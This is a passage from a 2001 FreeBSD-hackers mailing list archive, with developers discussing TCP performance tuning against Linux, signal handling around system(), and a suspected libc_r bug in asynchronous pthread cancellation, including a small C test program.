SO_RCVBUF were set to 131072 (which seems to be >>the max), and it increased performance marginally (like about 2%), but >>consistently. >> >>I am still analysing the packet traces I have, but it seems to me that >>the crucial difference is Linux seems to delay longer before sending >>ACKs, and thus sends less ACKs. Since the ACK is piggybacked in the >>response (or the next request), it all works fine, and the >>reponse/request gets there sooner. >> >>However, I have not convinced myself that the saving of 20uS or so per >>request/response pair accounts for some 40+ Mb/s. >> > Can you try these two commands: > > sysctl -w net.inet.tcp.recvspace=65536 > sysctl -w net.inet.tcp.sendspace=65536 Yes, that is what I did ... -- Richard Sharpe, rsharpe@ns.aus.com, LPIC-1 www.samba.org, www.ethereal.com, SAMS Teach Yourself Samba in 24 Hours, Special Edition, Using Samba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13:54:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 8DFDF37B416 for ; Fri, 30 Nov 2001 13:54:23 -0800 (PST) Received: (qmail 49541 invoked by uid 100); 30 Nov 2001 21:54:17 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15368.9.298714.294055@guru.mired.org> Date: Fri, 30 Nov 2001 15:54:17 -0600 To: David Miller Cc: freebsd-hackers@freebsd.org Subject: Re: [OT] alarm() question In-Reply-To: References: X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David Miller types: > Apologies for this being more C than freebsd, but I did say OT in > the subject... > > In the most basic use of an alarm, like this: > > #include > #include > #include > > sig_t > signal(int sig, sig_t func); > > static void bzzt() { > printf("In routine bzzt now, timer expired after 3 seconds\n"); > } > > main() { > > signal(SIGALRM, bzzt); > alarm(3); > system("/usr/bin/host -t soa 111.0.12.in-addr.arpa"); > printf("Done\n"); > } > > Why does the alarm go off but not interrupt the system call? bzzt() is > executed, but the program doesn't print Done and exit for a minute plus. > > Pointers to FM to RT welcome. Try the system() man page. system() does a fork, then exec's a shell with the string. So in the child process, the ALARM handling will be done by the shell, and I'm pretty sure it ignores them. As you noticed, the parent process gets the alarm. Checking the wait system page says that wait system calls - like the one done by the system() library routine - may either be interrupted, or restarted after the signal handler runs. Guess which one is happening here. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 13:57:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.magma.ca (mx2.magma.ca [206.191.0.250]) by hub.freebsd.org (Postfix) with ESMTP id 4AF3F37B417; Fri, 30 Nov 2001 13:57:22 -0800 (PST) Received: from mail5.magma.ca (mail5.magma.ca [206.191.0.225]) by mx2.magma.ca (Magma's Mail Server) with ESMTP id fAULvMd2015435; Fri, 30 Nov 2001 16:57:22 -0500 (EST) Received: from durandal (mothership.macadamian.com [206.191.21.204]) by mail5.magma.ca (Magma's Mail Server) with SMTP id fAULvKTM024843; Fri, 30 Nov 2001 16:57:20 -0500 (EST) Message-ID: <094601c179ea$7cca85c0$2964a8c0@MACADAMIAN.com> From: "Louis-Philippe Gagnon" To: , Subject: Possible libc_r pthread bug Date: Fri, 30 Nov 2001 17:00:56 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If at first you don't succeed... I've encountered a problem using pthread_cancel, pthread_join and pthread_setcanceltype, I'm hoping someone can shed some light. (in a nutshell : pthread_setcanceltype doesn't seem to work in FreeBSD 4.4) (posted to -current and -hackers; if there's a more appropriate mailing list for this, please let me know) I recently encountered a situation where, after calling pthread_cancel to cancel a thread, the call to pthread_join hangs indefinitely. I quickly figured out that it was because the thread being cancelled was never reaching a cancellation point (in fact it was an infinite loop with no function calls at all). Sure enough, adding a pthread_testcancel() in the loop allowed pthread_join to return. However this solution isn't acceptable for my requirements. I discovered the pthread_setcanceltype function and its PTHREAD_CANCEL_ASYNCHRONOUS parameter, which looked like they would give me exactly what I needed : allow threads to be cancelled regardless of what they are doing (basically a pthread equivalent to TerminateThread). Unfortunately, my tests have been less than conclusive : pthread_setcanceltype doesn't seem to do anything at all. It tells me it succeeds, subsequent calls properly report the previous cancellation type as ASYNCHRONOUS. But pthread_join still hangs, and adding pthread_testcancel calls still makes it work... I'm working on a FreeBSD 4.4-release machine; I ran the same test under FreeBSD 4.3-release and got the same results. However, running it on a Linux box (Mandrake release, 2.4.x kernel), I get exactly the results I was expecting (that is, setting the cancellation type to asynchronous allows the thread to be cancelled at any time) see the end of this message for my test program So the questions are -am I doing something wrong or misinterpreting the man pages? -if not, is this a known bug? -if so, is there a workaround (or is it already fixed)? -if not, can someone investigate? (I once had a look at the libc_r code and ran away screaming) If this turns out to be a bug in libc_r, a suggestion for a work-around (even a hack) would be much appreciated, even if a proper fix is found and committed to CVS (requiring an upgrade from 4.4-release installations is something we'd rather avoid). now for some disclaimers : I'm aware that asynchronous cancellations (TerminateThread-style) are an Evil Thing To Do. Unfortunately I have no choice in the matter. I'm aware that there are some strict limitations on what a thread is "allowed" to do while its cancellation type is asynchronous. specifically, it should only call "cancel-safe" functions. Note that in my test program, the thread being cancelled doesn't call any functions at all after setting its cancellation type, so this shouldn't be an issue. now for the code : #include #include /* thread entry point */ void * thread_entry (void *arg) { int i; if(0!=pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS,NULL)) { fprintf(stderr,"setcanceltype failed!\n"); } fprintf(stderr,"thread_entry entering loop\n"); while(1) { i++; /* uncomment this to insert a cancellation point */ /* pthread_testcancel();*/ } /* if we see this, it would mean the loop has been optimized out... */ fprintf(stderr, "after loop\n"); } int main(void) { pthread_t thread; pthread_attr_t attr; void *pthread_param; pthread_attr_init(&attr); fprintf(stderr,"creating thread\n"); pthread_create(&thread,&attr,&thread_entry,NULL); fprintf(stderr,"thread created; hit enter to cancel it...\n"); getchar(); fprintf(stderr,"cancelling...\n"); if(0!=pthread_cancel(thread)) { fprintf(stderr,"cancel failed!\n"); } fprintf(stderr,"after cancel, before join...\n"); if(0!=pthread_join(thread,&pthread_param)) { fprintf(stderr,"join failed!\n"); } fprintf(stderr,"after join\n"); } please ask if more details are needed Thanks in advance, Louis-Philippe Gagnon ~ louisphilippe@macadamian.com Macadamian Technologies "Software experts for the world's leading technology companies." http://www.macadamian.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14: 1:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 8852237B405 for ; Fri, 30 Nov 2001 14:01:15 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAUM0hD27448; Fri, 30 Nov 2001 14:00:43 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 14:00:43 -0800 (PST) From: Matthew Dillon Message-Id: <200111302200.fAUM0hD27448@apollo.backplane.com> To: Nate Williams Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :Note, my experiences (and John Capos) are showing degraded performance :when *NOT* on a LAN segment. In other words, when packet loss enters :the mix, performance tends to fall off rather quickly. : :This is with or without newreno (which should theoretically help with :packet loss). John claims that disabling delayed_ack doesn't seem to :affect his performance, and I've not been able to verify if delayed_ack :helps/hurts in my situation, since the testers have been pressed for :time so I can't get them to iterate through the different settings. : :I do however have some packet dumps, although I'm not sure they will :tell anything. :( : :Nate Packet loss will screw up TCP performance no matter what you do. NewReno, assuming it is working properly, can improve performance for that case but it will not completely solve the problem (nothing will). Remember that our timers are only good to around 20ms by default, so even the best retransmission case is going to create a serious hicup. The question here is... is it actually packet loss that is creating this issue for you and John, or is it something else? The only way to tell for sure is to run tcpdump on BOTH the client and server and then observe whether packet loss is occuring by comparing the dumps. I would guess that turning off delayed-acks will improve performance in the face of packet loss, since a lost ack packet in that case will not be as big an issue. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14: 8:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 9646137B423 for ; Fri, 30 Nov 2001 14:08:21 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id PAA18572; Fri, 30 Nov 2001 15:08:17 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAUM8HP21017; Fri, 30 Nov 2001 15:08:17 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15368.848.656239.615432@caddis.yogotech.com> Date: Fri, 30 Nov 2001 15:08:16 -0700 To: Matthew Dillon Cc: Nate Williams , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) In-Reply-To: <200111302200.fAUM0hD27448@apollo.backplane.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> <200111302200.fAUM0hD27448@apollo.backplane.com> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > :Note, my experiences (and John Capos) are showing degraded performance > :when *NOT* on a LAN segment. In other words, when packet loss enters > :the mix, performance tends to fall off rather quickly. > : > :This is with or without newreno (which should theoretically help with > :packet loss). John claims that disabling delayed_ack doesn't seem to > :affect his performance, and I've not been able to verify if delayed_ack > :helps/hurts in my situation, since the testers have been pressed for > :time so I can't get them to iterate through the different settings. > : > :I do however have some packet dumps, although I'm not sure they will > :tell anything. :( > : > :Nate > > Packet loss will screw up TCP performance no matter what you do. I know, dealing with that issue is my day job. :) My point is that older FreeBSD releases (and newer Linux releases) seem to be dealing with it in a more sane manner. At least, it didn't effect performance nearly as much as it does in newer releases. > NewReno, assuming it is working properly, can improve performance > for that case but it will not completely solve the problem > (nothing will). Remember that our timers are only good to around > 20ms by default, so even the best retransmission case is going to > create a serious hicup. See above. > The question here is... is it actually packet loss that is creating > this issue for you and John, or is it something else? In my opinion, it's how the TCP stack recovers from packet loss that is the problem. > The only way > to tell for sure is to run tcpdump on BOTH the client and server > and then observe whether packet loss is occuring by comparing the dumps. Unfortunately, I'm unable to run tcpdump on the client, since it's running NT and we're not allowed to install any 3rd party apps on it (such as the WinDump package). I'm not saying that I expect the same results as I get on the LAN segment, but I *am* expecting results that are equivalent to what we were seeing with FreeBSD 3.x, and those that are in the same ballpark (or better) than the Linux systems sitting next to it. Given that I get great LAN resuls, I no longer suspect I have a ethernet autonegotiation problem, since I can get almost wire-speeds with local nodes, and close to maximum performance with our wireless products when the network segment the FreeBSD server is relatively idle. > I would guess that turning off delayed-acks will improve performance > in the face of packet loss, since a lost ack packet in that case will > not be as big an issue. I'm not sure I agree. I wouldn't expect it would help/hinder the performance assuming a correctly performing stack, *UNLESS* the packet loss was completely due to congestion. In that case, delayed-acks *may* improve things, but I doubt it would help much with TCP backoff and such. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:10:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id D2F1537B41C for ; Fri, 30 Nov 2001 14:10:05 -0800 (PST) Received: from rac4.wam.umd.edu (IDENT:root@rac4.wam.umd.edu [128.8.10.144]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA21329; Fri, 30 Nov 2001 17:10:03 -0500 (EST) Received: from rac4.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac4.wam.umd.edu (8.9.3/8.9.3) with SMTP id RAA21488; Fri, 30 Nov 2001 17:10:03 -0500 (EST) Received: from localhost (culverk@localhost) by rac4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA21484; Fri, 30 Nov 2001 17:10:02 -0500 (EST) X-Authentication-Warning: rac4.wam.umd.edu: culverk owned process doing -bs Date: Fri, 30 Nov 2001 17:10:02 -0500 (EST) From: Kenneth Wayne Culver To: trim_your_ccs@loopback.net Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs In-Reply-To: <15367.54349.876429.742833@grasshopper.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > The question that immediately comes to mind is, why not simply use > > as big a value as possible? The problem comes down to buffering > > the data, and busy servers may have to buffer a lot of data. Having > > a 1 meg window size may have you buffer 1 meg per connection. Note > > that FreeBSD's current buffer management is particularly stupid in > > that it will _always_ buffer 1 Meg, need it or not. Until we fix > > this we need an interim solution. > > > > I thought that I heard a few months ago that Matt Dillon was looking > at ways to dynamically size tcp windows from within the kernel. Maybe > I'm on crack. You're not on crack, I don't know if it was Matt Dillon, but someone was doing this, I was using the patches for about a month to test them out. Ken > > Maybe we should look at the Dynamic Righsizing work being done at > LANL. See "Dynamic Adjustment of TCP Window Sizes" and > "Dynamic Right-Sizing: A Simulation Study" at > http://public.lanl.gov/radiant/publications.html > > Cheers, > > Drew > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:14:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 0380837B419 for ; Fri, 30 Nov 2001 14:14:22 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAUMEIr96867; Fri, 30 Nov 2001 17:14:18 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 17:14:18 -0500 From: Leo Bicknell To: Alfred Perlstein Cc: Luigi Rizzo , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130171418.B96592@ussenterprise.ufp.org> Mail-Followup-To: Alfred Perlstein , Luigi Rizzo , freebsd-hackers@FreeBSD.ORG References: <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130135402.H46769@elvis.mu.org> <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130135042.G46769@elvis.mu.org>; from bright@mu.org on Fri, Nov 30, 2001 at 01:50:42PM -0600 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG First off, apologies to Luigi, I was shooting off my mouth. Second off: On Fri, Nov 30, 2001 at 01:50:42PM -0600, Alfred Perlstein wrote: > I was about to set the default in -stable to Leo's suggested values, > it seems that -current already has the delta he wants in it, > my question is, was anything else changed along the lines of the > number of nmbclusters allocated in -current to go along with > this change? On Fri, Nov 30, 2001 at 01:54:02PM -0600, Alfred Perlstein wrote: > It seems not, I've committed the change. When I proposed this before there was a bit of a debate about needing to increase clusters and MBUF's. To summarize, I think we took the following away from it: * For most users it makes no difference, as they are far from the limits. * This will make a small number of people who aren't hitting limits now hit an MBUF limit. - These people probably need increases anyway, as they are too close to the limit now. - Hitting the MBUF limit is fairly, well, harsh, and we might want to add syslog or other logged warnings at like 90% utilization or something. At a minimum I think: * There needs to be a note in the errata for the release this goes in mentioning more MBUF's might be needed. * LINT should be updated with a comment and a value 2 to 4 times GENERIC's default as the default listed value. * The logging at 90% usage should be investigated. I can probably generate patches for that over the weekend, provided I can find a good way to rate limit them. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:17: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by hub.freebsd.org (Postfix) with ESMTP id ED38337B416; Fri, 30 Nov 2001 14:16:55 -0800 (PST) Received: (from eischen@localhost) by pcnet1.pcnet.com (8.12.1/8.12.1) id fAUMFpq4015843; Fri, 30 Nov 2001 17:15:51 -0500 (EST) Date: Fri, 30 Nov 2001 17:15:50 -0500 (EST) From: Daniel Eischen To: Louis-Philippe Gagnon Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Possible libc_r pthread bug In-Reply-To: <094601c179ea$7cca85c0$2964a8c0@MACADAMIAN.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 30 Nov 2001, Louis-Philippe Gagnon wrote: > If at first you don't succeed... > > I've encountered a problem using pthread_cancel, pthread_join and > pthread_setcanceltype, I'm hoping someone can shed some light. > > (in a nutshell : pthread_setcanceltype doesn't seem to work in FreeBSD 4.4) > > (posted to -current and -hackers; if there's a more appropriate mailing list > for this, please let me know) > > I recently encountered a situation where, after calling pthread_cancel to > cancel a thread, the call to pthread_join hangs indefinitely. I quickly figured > out that it was because the thread being cancelled was never reaching a > cancellation point (in fact it was an infinite loop with no function calls at all). > Sure enough, adding a pthread_testcancel() in the loop allowed > pthread_join to return. However this solution isn't acceptable for my requirements. > > I discovered the pthread_setcanceltype function and its > PTHREAD_CANCEL_ASYNCHRONOUS parameter, which looked like > they would give me exactly what I needed : allow threads to be cancelled > regardless of what they are doing (basically a pthread equivalent to > TerminateThread). > > Unfortunately, my tests have been less than conclusive : pthread_setcanceltype > doesn't seem to do anything at all. It tells me it succeeds, subsequent calls > properly report the previous cancellation type as ASYNCHRONOUS. > But pthread_join still hangs, and adding pthread_testcancel calls still > makes it work... > > I'm working on a FreeBSD 4.4-release machine; I ran the same test under > FreeBSD 4.3-release and got the same results. However, running it on a > Linux box (Mandrake release, 2.4.x kernel), I get exactly the results I > was expecting (that is, setting the cancellation type to asynchronous allows > the thread to be cancelled at any time) > > see the end of this message for my test program > > So the questions are > -am I doing something wrong or misinterpreting the man pages? No, not really. > -if not, is this a known bug? Or feature? > -if so, is there a workaround (or is it already fixed)? Not fixed. Work-around could be to use pthread_signal and exit the thread from there. > -if not, can someone investigate? (I once had a look at the libc_r code > and ran away screaming) Since your thread is compute bound, it is only woken up from the thread library's scheduling signal handler. In this case, it can only resume the thread from the interrupted context, and so there is no check for the thread being canceled. -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:18:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id CFABB37B416 for ; Fri, 30 Nov 2001 14:18:38 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.3/8.11.1) id fAUMENe33387; Fri, 30 Nov 2001 14:14:23 -0800 (PST) (envelope-from rizzo) Date: Fri, 30 Nov 2001 14:14:22 -0800 From: Luigi Rizzo To: Leo Bicknell Cc: Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130141422.B33041@iguana.aciri.org> References: <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130135402.H46769@elvis.mu.org> <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130171418.B96592@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011130171418.B96592@ussenterprise.ufp.org> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 05:14:18PM -0500, Leo Bicknell wrote: > > First off, apologies to Luigi, I was shooting off my mouth. no problem, and no need for apologies :) cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:19:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from niwun.pair.com (niwun.pair.com [209.68.2.70]) by hub.freebsd.org (Postfix) with SMTP id D69B837B41C for ; Fri, 30 Nov 2001 14:19:19 -0800 (PST) Received: (qmail 21858 invoked by uid 3193); 30 Nov 2001 22:19:19 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 30 Nov 2001 22:19:19 -0000 Date: Fri, 30 Nov 2001 17:19:18 -0500 (EST) From: Mike Silbersack X-Sender: To: Leo Bicknell Cc: Alfred Perlstein , Luigi Rizzo , Subject: Re: TCP Performance Graphs In-Reply-To: <20011130171418.B96592@ussenterprise.ufp.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 30 Nov 2001, Leo Bicknell wrote: > * The logging at 90% usage should be investigated. I can probably > generate patches for that over the weekend, provided I can find > a good way to rate limit them. Luigi, Jonathan and I had already been discussing this idea before this this thread even started. If you come up with a good patch to do this, I'd be happy to review and commit it. (Remember to target both -current and -stable though - the mbuf system differs a decent amount between the two.) Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:19:57 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id 2FCC737B416 for ; Fri, 30 Nov 2001 14:19:49 -0800 (PST) Received: from rac4.wam.umd.edu (IDENT:root@rac4.wam.umd.edu [128.8.10.144]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA22709; Fri, 30 Nov 2001 17:19:47 -0500 (EST) Received: from rac4.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac4.wam.umd.edu (8.9.3/8.9.3) with SMTP id RAA24087; Fri, 30 Nov 2001 17:19:46 -0500 (EST) Received: from localhost (culverk@localhost) by rac4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA24083; Fri, 30 Nov 2001 17:19:46 -0500 (EST) X-Authentication-Warning: rac4.wam.umd.edu: culverk owned process doing -bs Date: Fri, 30 Nov 2001 17:19:46 -0500 (EST) From: Kenneth Wayne Culver To: "James C. Durham" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG As a side note, I turned off delayed ack on both machines, and had the sendsize and recvsize set at 32768... I'm talking about wirespeed too, not measured incredibly accurately, but just measured using one of the windowmaker dockapps :-D Ken On Fri, 30 Nov 2001, Kenneth Wayne Culver wrote: > Wierd, on my Dual PII 300 I'm getting around 8MB/sec to an 800MHz > athlon. The athlon is using a 3com 905b I believe, and the PII is using an > intel fxp type card. Granted this is from my living room to my bedroom so > that may be part of what I see. Also, the Dual PII is running -STABLE as > of a week ago, and the Athlon is running -CURRENT as of about a week ago. > > Ken > > On Fri, 30 Nov 2001, James C. Durham wrote: > > > (snip...a large number of postings regarding slow performance by 4.x > > kernels with TCP/IP) > > > > A friend who works for a local university and I tried moving large > > files using variouis OS'es and hardware. These are FTP transfers > > with file sizes from 100 to 300 megabytes.. > > > > The conclusion we arrived at was that the TCP performance of FreeBSD > > 4.x and Linux is aproximately the same and that processor speed > > makes the most difference. In one case, a fast laptop with 16 bit > > pcmcia NIC did poorly. > > > > Moving large files on 100mb/s ethernet backbones gave the folowing > > results... > > > > Dual 800 mhz PIII processors with Linux 6.1: > > 10mB/s. > > > > Sunblade 100's: > > 10mB/s. > > > > Single 1.4ghz processors (noname box)with 3C905 NICS, > > FreeBSD-stable (June 2001).: > > 9.5 mB/s. > > > > In the case wehere we had only one machine of a type, we > > used the dual 800mhz machines as a "sink"...with the following > > results (this is probably questionable): > > > > Dual 333 Linux 5.1 5mB/s > > > > Pentium 350 III with 3C905 NIC, Linux 5.1: > > 2mB/sec > > > > K6-2 400 with smc NIC, Linux 5.1: > > 2.8mB/sec > > > > Dell 500mhz PowerEdge with 4.3 with 3C905 NIC to HP Netserver PII 266, > > both running 4.3-RELEASE: > > 3.0 mB/sec. > > > > Dell 500mhz PowerEdge with 4.3 to Dell 850mhz laptop running > > 4.4 with Dlink PCMCIA ethernet card: > > 1.0 mB/sec. (caused by pcmcia NIC?) > > > > PIIMMX 200mhz box running 4.4-Relese with 3C905 to same Dell Laptop: > > 500kB/sec. > > > > Unfortunately, we didn't have any 7.x Linux available or 3.X FreeBSD. > > > > FWIW... > > > > Jim Durham > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:28:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 1A05437B405; Fri, 30 Nov 2001 14:28:38 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 8871381D04; Fri, 30 Nov 2001 16:28:32 -0600 (CST) Date: Fri, 30 Nov 2001 16:28:32 -0600 From: Alfred Perlstein To: Matthew Dillon Cc: Nate Williams , Alexander Haderer , jlemon@freebsd.org, freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) Message-ID: <20011130162832.N46769@elvis.mu.org> 